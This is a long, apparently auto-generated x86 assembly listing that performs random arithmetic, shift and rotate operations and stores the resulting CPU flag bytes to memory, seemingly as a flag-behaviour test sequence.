mov ebx, 0x3aebc265
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x1c63ec5c
mov ecx, 0xba925868
ror eax, cl
mov eax, 0xdab633c9
sal eax, 1
mov ebx, 0x22a8c861
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x6ab55a65
mov ecx, 0xe6ec223b
ror ebx, cl
mov edx, 0x69970893
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x79b41238
sal eax, 1
mov ecx, 0x1f7c1fe0
dec ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x8dd1caf3
mov ecx, 0x74f86bc6
ror ebx, cl
mov edx, 0xeb1013ae
mov ecx, 0x13d310d2
ror edx, cl
mov edx, 0x2f1a8ae4
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xbc7d6ec9
mov ecx, 0xc2d44e6a
ror ebx, cl
mov ebx, 0x83c97b48
mov ecx, 0x27d04b4e
rol ebx, cl
mov eax, 0x25a6ab0c
inc eax
mov eax, 0xf6326ec4
mov ecx, 0xae3de44e
rol eax, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xbb63f357
sub ebx, 0x23606905
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xfe78fa77
rol eax, 1
mov edx, 0x5ffd60fb
shl edx, 1
mov edx, 0xc38f809f
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x91c69fce
mov ecx, 0xeba114dd
ror edx, cl
mov ecx, 0x323aa69
dec ecx
mov eax, 0xae7fdcbe
mov ecx, 0x139e49a8
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xee77b055
mov ecx, 0xf8766644
ror eax, cl
mov eax, 0x723fb586
dec eax
mov edx, 0x6a37e25a
rol edx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x4b0e4544
rol edx, 1
mov ecx, 0x694bd1da
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x37d66cc
inc ebx
mov ebx, 0x5a792a9a
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x501776e9
inc eax
mov eax, 0xd6b3bd28
mov ecx, 0xac22ac05
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xf5fffd97
cmp ecx, 0x9fcc48e1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x5a1304a5
dec ebx
mov eax, 0x846ff381
mov ecx, 0xcb4ed959
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x17707c9f
sal edx, 1
mov edx, 0x3a9cb636
inc edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x413443d5
mov ecx, 0x1c07f909
rol edx, cl
mov ebx, 0x341e1a64
mov ecx, 0xc059ef85
ror ebx, cl
mov ebx, 0x665a3a0
rol ebx, 1
mov edx, 0x2025ed75
mov eax, 0x25fa0c48
add edx, eax
mov eax, 0x4429e90a
mov ecx, 0x2db0b9b7
sar eax, cl
mov ecx, 0x48e3cd4f
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x686a7dda
mov ecx, 0x26552216
rol edx, cl
mov ebx, 0xcb0d4fbd
mov ecx, 0xb1a47e22
rol ebx, cl
mov edx, 0x65c5c18
shl edx, 0x44
mov ecx, 0xaeaff530
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x80fa3729
sal eax, 1
mov eax, 0x187b76c2
mov ecx, 0x380a0e67
ror eax, cl
mov eax, 0x4443f28
aaa
mov eax, 0x1f3f3fdc
shl eax, 0x85
mov edx, 0x7aa5807e
mov ecx, 0x809cd030
rol edx, cl
mov ebx, 0x37631bde
shl ebx, 0x86
mov edx, 0x24764700
mov ebx, 0xaa776f6f
cmp edx, ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xb58b9bb7
aaa
mov ebx, 0xa80ca10
rol ebx, 1
mov edx, 0x1775d0f1
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xc7e5ec37
add edx, 0x12ba52c6
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x90c24cda
sal edx, 1
mov eax, 0xf9092e94
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x2bc1e052
dec ebx
mov eax, 0x42438bc6
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x7aa4ab27
shl eax, 0x23
mov ebx, 0x7a3cbc9d
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xe8ed89b7
mov eax, 0x93220094
cmp ebx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xa7da9f6c
mov ecx, 0x140b2904
sub edx, ecx
mov ebx, 0x67b693e6
rol ebx, 1
mov ebx, 0xd6900ce0
mov ecx, 0x7d536432
rol ebx, cl
mov edx, 0xbe9ac57a
rol edx, 1
mov ebx, 0x8ce42dac
mov ecx, 0x88772fa4
rol ebx, cl
mov edx, 0xf6f4bee
rol edx, 1
mov ebx, 0xf71410be
mov ecx, 0x7d670a12
ror ebx, cl
mov ebx, 0x8e57631f
mov eax, 0x4d440018
cmp ebx, eax
mov eax, 0x69b19231
sal eax, 0xe4
mov ebx, 0x568af150
dec ebx
mov eax, 0x5d740f0
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x763ae2f3
inc ebx
mov edx, 0x801d34c5
mov ecx, 0xd0f4a5f2
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x82cb4384
mov ecx, 0x999a8282
sal ebx, cl
mov eax, 0xb3ecb27
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x705a28b8
mov ecx, 0x98053968
rol ebx, cl
mov ebx, 0x6c5b895f
mov ecx, 0xef6aaf57
rol ebx, cl
mov ebx, 0x224b9990
dec ebx
mov edx, 0x982711bc
mov ecx, 0x7ae651ba
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x5b7900c8
aas
mov eax, 0x1a7a6aec
mov ecx, 0xa22beaf4
cmp eax, ecx
mov ecx, 0x9c569f91
inc ecx
mov eax, 0xe02eb64f
rol eax, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xade1f771
mov ecx, 0xcb48cc87
rol ebx, cl
mov edx, 0x86a27a34
inc edx
mov ebx, 0x3b8f53ee
rol ebx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xc82039ea
add ebx, 0x25d91ab1
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0xad6fa490
sub ecx, 0xda7c794b
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xd68040dc
mov ecx, 0xc7034eff
ror edx, cl
mov edx, 0x3f0abbd1
rol edx, 1
mov edx, 0xdc2ddc45
mov ecx, 0xd344f7a9
ror edx, cl
mov edx, 0x7eba9dbf
sub edx, 0xd16bc101
mov edx, 0xc817de30
neg edx
mov edx, 0x7e94a877
rol edx, 1
mov eax, 0x867efd8d
mov ecx, 0x603944d1
ror eax, cl
mov eax, 0xc847e5a3
sal eax, 1
mov ecx, 0x47e0f7ac
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x73d1ac10
rol eax, 1
mov ebx, 0xcc094a8c
mov ecx, 0x691075d1
ror ebx, cl
mov ecx, 0x63ce2cc
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x323b9fc2
rol ebx, 1
mov ebx, 0x490150c0
neg ebx
mov eax, 0xff515938
aas
mov ebx, 0x354244ff
mov ecx, 0x3f8d53bd
rol ebx, cl
mov eax, 0xd98fc8d9
sar eax, 0x77
mov edx, 0xe676db80
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x5f506039
dec eax
mov ebx, 0xcd057f74
mov ecx, 0x207c4c5d
ror ebx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xe6fe441c
mov ecx, 0xf2b97577
sar ebx, cl
mov ebx, 0x594496eb
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x2058898b
mov ecx, 0x313b26a4
shl ebx, cl
mov ecx, 0x7a22260f
dec ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xdf2bc97f
mov ecx, 0x2b7a1dda
rol ebx, cl
mov edx, 0xca5d6e4a
mov ecx, 0xdc34daf1
ror edx, cl
mov ecx, 0x672abcd4
add ecx, 0xe91b925a
mov edx, 0xe806792e
mov ecx, 0xb2e11b4c
ror edx, cl
mov ebx, 0x7c331cad
mov ecx, 0x77a2b8c7
rol ebx, cl
mov eax, 0x3f2560e6
mov ecx, 0x871c9b02
rol eax, cl
mov eax, 0xf12df516
mov edx, 0x96624e0e
sub eax, edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x66b7e98c
sal edx, 0x65
mov ebx, 0x3589bcdb
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x1ee47e40
mov ecx, 0x2277f2e3
sar edx, cl
mov eax, 0x1349e506
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x8f3630f8
mov ecx, 0xb8d12c04
shl ebx, cl
mov edx, 0xb1092224
inc edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xe0968a4f
inc eax
mov ebx, 0x70225da1
mov ecx, 0x19edc3aa
rol ebx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xe17acaf4
sub ebx, 0x5d2b6553
mov eax, 0x9fd781d7
rol eax, 1
mov eax, 0x372ef539
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x2a1d6446
dec edx
mov eax, 0xedbf3a99
rol eax, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x40bce7de
rol ebx, 1
mov edx, 0x3a43a6cf
inc edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x8fd81eb8
mov ecx, 0xaebb4a6b
rol ebx, cl
mov ecx, 0x3a333ea3
dec ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x2a11f902
add ebx, 0x477688e3
lahf
mov byte [edi], ah
inc edi
mov edx, 0x97cd1a1
rol edx, 1
mov eax, 0x6cbd4b2e
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x6c2f3aac
dec edx
mov eax, 0xb227f527
mov ecx, 0xbce625d9
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x2035cbc7
shl ebx, 0xe5
mov ebx, 0x7317ff4b
inc ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x50073719
cmp eax, 0x6534d893
mov edx, 0xf33a1077
mov ecx, 0xda6548fa
shl edx, cl
mov ebx, 0xdbc7ec21
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x7f8cf249
mov ecx, 0x7cbf5fb8
ror eax, cl
mov edx, 0x22d8a9be
sub edx, 0xd631ffa2
mov ebx, 0xf5675f13
mov ecx, 0x526eb0c
rol ebx, cl
mov eax, 0x7c37403e
aas
mov eax, 0xd32a6e6c
mov ecx, 0x84151898
shl eax, cl
mov ebx, 0xfcc96fd0
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7c0103c6
shl ebx, 1
mov edx, 0x7dd71daf
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x2aeb09b1
inc ecx
mov edx, 0x6a920bb4
mov ecx, 0xb81df7fb
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x62af02cc
cmp ebx, 0x86bc3971
mov eax, 0x38f6fb
mov ebx, 0x58110640
sub eax, ebx
mov edx, 0x2a749d51
rol edx, 1
mov ebx, 0x6b3478f0
neg ebx
mov eax, 0xffe25f82
mov ecx, 0x10adf25d
sal eax, cl
mov edx, 0x6ef314ff
inc edx
mov ebx, 0x74f7718
rol ebx, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xad74e826
mov ecx, 0x914745c7
ror ebx, cl
mov ecx, 0x5d07f393
cmp ecx, 0xee345680
mov ebx, 0xfae21a54
mov ecx, 0x17adcb9e
ror ebx, cl
mov ebx, 0xf05c2041
mov ecx, 0xeecf789b
ror ebx, cl
mov eax, 0xf754150f
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x739fe591
rol edx, 1
mov eax, 0x9b31e487
mov ecx, 0xdbd855d6
ror eax, cl
mov ebx, 0xb633e0de
mov ecx, 0x59a23a71
rol ebx, cl
mov eax, 0x20981f38
mov edx, 0x60f13264
add eax, edx
mov eax, 0x78627d6a
aaa
mov ebx, 0xad72cfc5
rol ebx, 1
mov ebx, 0x8e6c0b4e
mov ecx, 0xfb1fe33e
rol ebx, cl
mov ebx, 0x19e77f58
sar ebx, 0xef
mov edx, 0xcba86e3a
mov ecx, 0x37cbcf05
ror edx, cl
mov ebx, 0x505ad90
dec ebx
mov edx, 0xec819390
mov ecx, 0x606814f8
rol edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x3b0de646
dec ebx
mov ebx, 0x17d1bc9
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x13caa6b8
rol eax, 1
mov edx, 0xa2967d2b
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x49de1ca0
neg ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x76cb6267
shl ebx, 1
mov ecx, 0xf3e269a
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x30fae59f
mov ecx, 0x772586e5
sar eax, cl
mov edx, 0x65ddd96c
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x7395e39b
rol eax, 1
mov ebx, 0xf3e43c08
rol ebx, 1
mov eax, 0xd4498ec8
aaa
mov ebx, 0x33684b8a
rol ebx, 1
mov ebx, 0x16bdb876
dec ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x4bed27f
inc ebx
mov ebx, 0x4d22e6ba
mov ecx, 0x4aed6258
ror ebx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x5e7ae8ac
dec ecx
mov edx, 0x773464ba
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xc7152e96
mov ecx, 0x78cc2ae1
ror eax, cl
mov ecx, 0x1564f884
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x4d2c15e1
sal eax, 1
mov eax, 0x546273
sal eax, 1
mov ebx, 0x2c20fccf
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x616ff790
add edx, 0x7e7cf103
mov ebx, 0x4e6ae65a
mov ecx, 0xe455faad
rol ebx, cl
mov eax, 0x5a101991
mov ecx, 0xded3760c
sar eax, cl
mov ebx, 0x8cc55ab1
dec ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x281f5503
sal ebx, 0xf1
mov ebx, 0xde58e332
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x1fde4f63
mov ecx, 0x319b842
shl edx, cl
mov ecx, 0x9edbaddd
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x3c8eb605
mov eax, 0x3caffc82
sub ebx, eax
mov eax, 0x9bc102cf
aaa
mov edx, 0xc9f31aa6
mov ecx, 0x64627642
shl edx, cl
mov edx, 0xaa12fd50
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x696a1833
rol edx, 1
mov eax, 0xcd1072aa
mov ecx, 0x3dd314a8
ror eax, cl
mov ebx, 0x2e285493
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x371fa027
mov ecx, 0xdabed2f0
ror eax, cl
mov ebx, 0x71585e02
dec ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x21b39eb1
rol edx, 1
mov ecx, 0xe0888520
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x3ecc0a29
rol edx, 1
mov ecx, 0x9d0f9fc
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xc83ddf0e
shl eax, 1
mov ebx, 0x132cc884
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x1351511a
shl ebx, 5
mov eax, 0x6d53dda8
dec eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x33cb94b6
rol edx, 1
mov ebx, 0xcf011ca
sub ebx, 0xd2691498
mov edx, 0x57b40cf
rol edx, 1
mov edx, 0xde418e6e
mov ecx, 0x128ff34
ror edx, cl
mov eax, 0xcd40575b
rol eax, 1
mov eax, 0x7fca102a
rol eax, 1
mov ebx, 0x946e380
neg ebx
mov edx, 0x18731fc3
shl edx, 1
mov ebx, 0x5d529c0
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x4c236125
inc edx
mov ebx, 0x1c9bd776
mov ecx, 0x38aa3056
ror ebx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xb049a384
mov ecx, 0x36509065
rol ebx, cl
mov edx, 0x805855f
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x3db9435d
shl ebx, 1
mov ebx, 0xbaaeec63
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x8827e8ef
inc ebx
mov eax, 0x7fc395c2
rol eax, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xc40fc871
sal ebx, 1
mov eax, 0x9ea01240
dec eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x1b91ae2e
mov ecx, 0xa1b8c1bf
rol edx, cl
mov edx, 0x7706ff18
rol edx, 1
mov ebx, 0xf7fa3d39
mov edx, 0xf1ab0098
add ebx, edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x95d9af24
mov ecx, 0xf820b345
ror edx, cl
mov ebx, 0x42e446f7
sub ebx, 0x234d2e01
mov ebx, 0x436cbdc5
mov ecx, 0xcd357910
cmp ebx, ecx
mov edx, 0xbbe837be
rol edx, 1
mov ebx, 0x62e7e325
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x4fad6b16
sal eax, 1
mov ebx, 0x66cf8f92
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x74e11f59
aas
mov ebx, 0x9b7cd3b
shl ebx, 1
mov eax, 0x5f90a88e
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xf0cbab40
mov ecx, 0xff9ae6d3
ror edx, cl
mov edx, 0x4efda592
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xf4ec7385
mov ecx, 0xeb9feeb1
ror ebx, cl
mov eax, 0x73d81c53
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xc5ee41ac
mov ecx, 0x3769cc51
rol edx, cl
mov edx, 0x52fad0a3
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x1a9be921
sal ebx, 0xf6
mov ebx, 0x96120ebb
mov ecx, 0x91e31184
sub ebx, ecx
mov eax, 0x1b6e391e
mov ecx, 0x72e93f04
rol eax, cl
mov ebx, 0x1fb6442
rol ebx, 1
mov edx, 0x6660ff1
mov ecx, 0xcec1fb24
rol edx, cl
mov ebx, 0xffc0be62
mov ecx, 0xcd434c0b
ror ebx, cl
mov eax, 0x55110218
shl eax, 1
mov eax, 0x289d0fe9
rol eax, 1
mov ebx, 0x13d40700
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xe5df0e93
mov edx, 0x22cae7d
sub ebx, edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x923aae2a
sal edx, 1
mov ebx, 0x99d815aa
rol ebx, 1
mov edx, 0xa87eddf
inc edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xe4388ff7
cmp edx, 0x6c118f65
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x3614d293
mov ecx, 0x5867dfa4
sar eax, cl
mov eax, 0x9f80b677
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x7b1d3a
mov ecx, 0xc00a75ad
ror edx, cl
mov ebx, 0xef9d6a0f
mov eax, 0xc123439
cmp ebx, eax
mov edx, 0xd288b6da
mov ecx, 0x4421e481
add edx, ecx
mov ecx, 0x9ea942dc
dec ecx
mov edx, 0xddeb68dc
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0xcdea3c7
rol eax, 1
mov ecx, 0x18ea2733
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xa753b5ec
mov ecx, 0xdb421569
ror eax, cl
mov ecx, 0x1c669a32
dec ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x3e84b84f
sal edx, 1
mov ebx, 0x4b33af68
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x63faeea7
cmp eax, 0xedab6b17
mov edx, 0x18578fd2
rol edx, 1
mov edx, 0xc77d6fb3
mov ecx, 0x19d475da
rol edx, cl
mov ecx, 0xa00472a1
sub ecx, 0x89edd4aa
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x2588a969
cmp eax, 0x9b21ba64
mov eax, 0xd5d29e05
aaa
mov eax, 0x1da099c5
dec eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xd71b2a41
mov ecx, 0x4d2aa56a
ror eax, cl
mov ebx, 0x6afd19eb
mov ecx, 0x1b54d864
sal ebx, cl
mov edx, 0x3d3ef8f7
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x2fda5251
sub ecx, 0xfc0b25c1
mov eax, 0x933ac96
cmp eax, 0xa4f04321
mov ebx, 0x42fe5cd3
mov ecx, 0x3eb917de
ror ebx, cl
mov edx, 0x762dadd4
dec edx
mov eax, 0x4829632f
mov ecx, 0xc1b0c8fd
rol eax, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x16c8467c
mov ecx, 0x3b6b1ade
ror edx, cl
mov eax, 0xace3a9e4
mov ecx, 0x3d12e86f
sar eax, cl
mov eax, 0x56d1d98a
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xd810dccb
inc eax
mov ebx, 0xf7e6b506
mov ecx, 0x9641c6fd
rol ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xcc799ecd
sub ebx, 0x1dbe3083
mov eax, 0x1d3b9bc4
aaa
mov ebx, 0xcb887509
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xd51b7de0
dec ebx
mov eax, 0x90cdfe6e
mov ecx, 0xf6641727
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x7ee12893
add eax, 0xc4067a7b
lahf
mov byte [edi], ah
inc edi
mov eax, 0x3dd5e485
inc eax
mov eax, 0xa3b701c7
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xe8a751d2
mov ecx, 0x215471da
cmp ebx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x254a3803
rol ebx, 1
mov edx, 0x169bd16
mov ecx, 0x97f06c52
rol edx, cl
mov ecx, 0x74fa9257
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xa952fb1b
rol edx, 1
mov edx, 0x10aabdf7
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x7c130ae4
shl eax, 1
mov eax, 0x400549da
dec eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x115525a9
mov ecx, 0x840c9781
sal edx, cl
mov ecx, 0x9b348098
mov edx, 0x1d5d7e7c
cmp ecx, edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x72f64834
mov eax, 0x16f719a0
cmp ebx, eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x31c061cc
sal eax, 1
mov ebx, 0x78d87a86
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x22ac650a
sar ebx, 0x97
mov ecx, 0xf74f7f24
dec ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xd29d8c15
mov ecx, 0xdd7472de
sar eax, cl
mov ecx, 0xe9a0c513
sub ecx, 0x69594c69
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x7c64692a
sub ecx, 0x9ecd5255
mov eax, 0x15cecea8
aas
mov ecx, 0xb90b6267
dec ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x9132c3f9
mov ecx, 0xd53dcf58
ror eax, cl
mov edx, 0x542c2d2d
mov ecx, 0x3fdf276a
ror edx, cl
mov edx, 0xef56b4a0
inc edx
mov edx, 0xaae23bd4
mov ecx, 0x87ad698e
ror edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x296db66a
mov edx, 0x9a2bb21
cmp eax, edx
mov eax, 0xfcc6e813
aaa
mov ebx, 0x47ddd775
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x714c2a05
mov ecx, 0x1d7f178a
ror edx, cl
mov edx, 0x3d774d40
mov ecx, 0x23767c3b
ror edx, cl
mov ebx, 0x2b4e5b7f
mov ecx, 0x5649a1c2
rol ebx, cl
mov ecx, 0x5626d391
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x63b95750
rol ebx, 1
mov edx, 0x5098abe1
mov ecx, 0xfa7b2f2f
ror edx, cl
mov edx, 0xad2939f4
mov ecx, 0x9ab0b595
rol edx, cl
mov edx, 0x786be230
mov ecx, 0x61ba3774
rol edx, cl
mov eax, 0x60748960
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x36363afc
dec ebx
mov eax, 0x1b41bb51
rol eax, 1
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x1a3ba822
mov ecx, 0x28ca6ea3
shl edx, cl
mov eax, 0x6f045d46
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xda0f4edf
rol edx, 1
mov eax, 0xf9fbf019
mov ecx, 0xaf8a8f93
rol eax, cl
mov ecx, 0x68a9d4ff
dec ecx
mov ebx, 0xe665423c
mov ecx, 0x435c6afa
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x7d1df3da
mov ecx, 0xa1f42279
ror eax, cl
mov edx, 0xbaeac019
add edx, 0x11db9ce4
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x6f893e6a
shl ebx, 0xd9
mov eax, 0xcdfd9140
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x6fecec1b
mov ecx, 0x729f9c94
ror eax, cl
mov eax, 0xd0a14510
sal eax, 1
mov edx, 0xd07591c0
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0xc0e530e7
mov eax, 0x17bac591
sub ecx, eax
mov eax, 0xe4128a0e
aas
mov ebx, 0xfd22ef49
mov ecx, 0xbaedd998
rol ebx, cl
mov edx, 0xf2d20acf
inc edx
mov eax, 0x6a1ea496
mov ecx, 0xe5992e7
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x9ef6e8d7
shl eax, 1
mov edx, 0xc6bf2684
sal edx, 1
mov ebx, 0x3bfa6fc2
mov eax, 0xe5aba155
sub ebx, eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x5c20372a
dec ebx
mov ebx, 0x1a4c6ca9
mov ecx, 0xca7fbf3e
ror ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x8a77a73d
mov ecx, 0x847627d9
ror edx, cl
mov eax, 0x3668d585
mov ecx, 0x958b841f
rol eax, cl
mov ebx, 0x5fb22f8e
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xe9749a6c
mov ecx, 0x3d477091
sar eax, cl
mov ebx, 0x637d83e
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x570e2a4a
rol eax, 1
mov ecx, 0x39cdaf4
add ecx, 0x41a5f9a7
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x1acf9324
mov edx, 0xac5cf1a4
cmp ecx, edx
mov eax, 0x94c7bdd2
aaa
mov ecx, 0x260c0d7
dec ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x54898dbc
mov ecx, 0xc3903e5f
rol ebx, cl
mov edx, 0xf9773ac9
sub edx, 0xa9e4bb0b
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xaffe75da
shl eax, 1
mov edx, 0xdaa4b4ef
inc edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x63c50d80
mov ecx, 0xda3c6b11
ror edx, cl
mov eax, 0x28a51e0f
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7c590311
add ebx, 0x401e682b
mov eax, 0x402a9ac7
aas
mov ecx, 0x5d91bd85
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x39d059a3
mov ecx, 0x6593573f
ror eax, cl
mov ebx, 0xc78c2ece
sar ebx, 0x65
mov edx, 0x1a76b57f
inc edx
mov ebx, 0x680244ba
rol ebx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x1105c474
mov ecx, 0xf47cfc7e
ror eax, cl
mov ebx, 0x5d670818
mov ecx, 0xd26cd41
rol ebx, cl
mov eax, 0x925ffc89
add eax, 0x74acc5a6
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xe6c2be98
sub ebx, 0x8cd37975
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x8472fcfc
sal ebx, 1
